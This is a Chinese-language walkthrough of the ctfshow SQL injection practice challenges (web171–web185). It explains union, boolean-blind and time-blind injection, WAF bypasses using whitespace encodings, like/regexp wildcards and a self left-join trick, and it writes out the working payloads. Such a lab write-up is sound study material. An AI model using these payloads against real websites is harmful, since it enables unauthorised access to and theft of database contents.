ctfshow入门SQL注入
未过滤注入
web171
可以用正常的联合注入,也可以用万能密码
1 | 1' or '1'='1'--+ |
联合注入
1 | 1' order by 4--+ |
查询语句这里不会对我们的联合注入造成影响,只是正常的查询不会返回带flag的数据
web172
多了个返回逻辑
1 | //检查结果是否有flag |
万能密码用不了,这里的话会对username为flag的数据进行过滤,正常打联合注入
1 | -1' union select 1,2--+ |
这样可以打,不过如果是这样的话就不行了
1 | -1' union select 1,(select username,password from ctfshow_user2 where username = 'flag')--+ |
因为查询的结果中有username为flag,上面的话是我们只是返回username为flag的password值,并不会碰到过滤,所以我们上面的语句才能查询到flag
web173
正常打联合注入
1 | -1' union select 1,2,3--+ |
这里的话刚好flag是ctfshow开头的,所以不会被过滤掉,如果我们的flag是flag开头的话需要绕过,例如username是flag,我们可以用编码函数去绕过(使用hex或者使用reverse、to_base64等函数加密)
1 | -1' union select id,hex(username),password from ctfshow_user3 where username='flag'--+ |
web174
增加过滤了数字,打盲注就行
看看正确回显和错误回显
拿脚本跑吧,这次用二分法去跑,刚好学一下写脚本
1 | import requests |
web175
这下是完全没内容了,到打时间盲注了
1 | 1' and sleep(4)--+ |
成功延迟
那就打时间盲注吧
1 | import requests |
过滤注入
web176
万能密码可以做
fuzz一下发现过滤了select
在mysql中对大小写是不敏感的,只要waf没有对大小写限制就可以用大写去绕过
1 | -1' union Select 1,2,3--+ |
web177
fuzz一下,过滤了空格和注释符--+
1 | 1'/**/or/**/'1'='1'%23 |
web178
这次过滤了*
,换编码去绕过就行
%09
绕过空格
1 | 1'%09or%09'1'='1'%23 |
web179
%09
被过滤了,%0c
绕过空格
1 | 1'%0cor%0c'1'='1'%23 |
web180
刚好看到一个fuzz单个字符的脚本,尝试着写一下
1 | import requests |
fuzz的结果
1 | 未被过滤的字符: [(33, '!'), (34, '"'), (36, '$'), (37, '%'), (40, '('), (41, ')'), (44, ','), (45, '-'), (46, '.'), (47, '/'), (48, '0'), (49, '1'), (50, '2'), (51, '3'), (52, '4'), (53, '5'), (54, '6'), (55, '7'), (56, '8'), (57, '9'), (58, ':'), (59, ';'), (60, '<'), (61, '='), (62, '>'), (63, '?'), (64, '@'), (65, 'A'), (66, 'B'), (67, 'C'), (68, 'D'), (69, 'E'), (70, 'F'), (71, 'G'), (72, 'H'), (73, 'I'), (74, 'J'), (75, 'K'), (76, 'L'), (77, 'M'), (78, 'N'), (79, 'O'), (80, 'P'), (81, 'Q'), (82, 'R'), (83, 'S'), (84, 'T'), (85, 'U'), (86, 'V'), (87, 'W'), (88, 'X'), (89, 'Y'), (90, 'Z'), (91, '['), (93, ']'), (94, '^'), (95, '_'), (96, '`'), (97, 'a'), (98, 'b'), (99, 'c'), (100, 'd'), (101, 'e'), (102, 'f'), (103, 'g'), (104, 'h'), (105, 'i'), (106, 'j'), (107, 'k'), (108, 'l'), (109, 'm'), (110, 'n'), (111, 'o'), (112, 'p'), (113, 'q'), (114, 'r'), (115, 's'), (116, 't'), (117, 'u'), (118, 'v'), (119, 'w'), (120, 'x'), (121, 'y'), (122, 'z'), (123, '{'), (124, '|'), (125, '}'), (126, '~')] |
这里的话还是过滤了空格的,并且也过滤了注释符号%23,试着去闭合单引号就行
1 | -1'%0cunion%0cselect%0c'1','2','3 |
这道题一开始还用limit语句限制了返回的内容,后面把1换成-1才看到回显
web181
这次waf给出来了
1 | //对传入的参数进行了过滤 |
完全过滤了空格的绕过方法和select关键字,然后可以用万能密码的一个变式去做
1 | -1'||username='flag |
这里比较复杂,稍微写的详细一点,这个payload是为什么呢?
我们插入到查询语句中
1 | $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '-1'||username='flag' limit 1;"; |
然后我们看一下mysql运算符的优先级
在查询语句中,因为AND的优先级高于OR,所以WHERE的表达式可以拆分为
1 | (username != 'flag' AND id = '-1') || (username = 'flag') |
username != 'flag' AND id = '-1'
会被优先计算,然后与 username = 'flag'
进行 OR
运算。
- 如果
username = 'flag'
为真,则整个条件为真,无论username != 'flag' AND id = -1
是否为真。 - 因此,如果表中存在
username='flag'
的数据,这条查询一定会返回该数据。
web182
这次多过滤了个flag,不过可以用like模糊匹配绕过
1 | -1'||(username)like'fla_`或者是`-1'||(username)like'fla% |
关于like中的通配符
% |
匹配零个或多个任意字符 | 'a%' 匹配所有以a开头的字符串 |
---|---|---|
_ |
匹配单个任意字符 | 'a_' 匹配所有以a开头的两个字符长度的字符串 |
这里的话在学习MySQL的时候也学到过
web183
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
增加过滤了=
,or
,and
等字符
这里的话出现了一个查询结果
1 | //返回用户表的记录总数 |
可以用like模糊匹配去做
1 | $sql = "select count(pass) from (ctfshow_user)where(pass)like'ctfshow{%';"; |
返回$user_count = 1;
如果没匹配上的话就返回0,这样就可以写脚本去盲注了
1 | import requests |
web184
1 | //对传入的参数进行了过滤 |
这道题把时间盲注的两个常用函数禁用了,我还想着上一题是不是可以用时间盲注去打来着但是没打出来
这里还禁用了where语句和一些逻辑运算符例如&&
和||
,上面的方法不能用了,可以打左右连接
ctfshow_user表一共有22行数据
写个payload
1 | tableName=ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char(99),char(116),char(42))) |
这里的话将ctfshow_user表设为两个表,并通过on后面的条件连接起来,此时满足on连接条件的话会返回,为什么呢?
我们先在本地测试一下
可以看到当on的条件不一样的时候返回的结果也不一样
a.username = "man" |
左表 | 左表(a)的 username 必须等于 "man" ,才会尝试匹配右表(b)的所有行。 |
---|---|---|
b.username = "man" |
右表 | 右表(b)的 username 必须等于 "man" ,才会被左表(a)的行匹配。 |
所以回到刚刚的payload
1 | tableName=ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char(99),char(116),char(42))) |
这里的话会用a表中符合regexp的pass行去匹配b表,a表所有的数据去掉连接条件的那行就是22行,然后连接条件的那行会和右表的所有内容进行连接,所以最后的结果就是21+22=43行
那么我们用regexp去进行匹配
1 | import requests |
这里的话需要注意要排除小数点,因为小数点在regexp的正则里小数点能匹配除 “\n” 之外的任何单个字符
web185
1 | //对传入的参数进行了过滤 |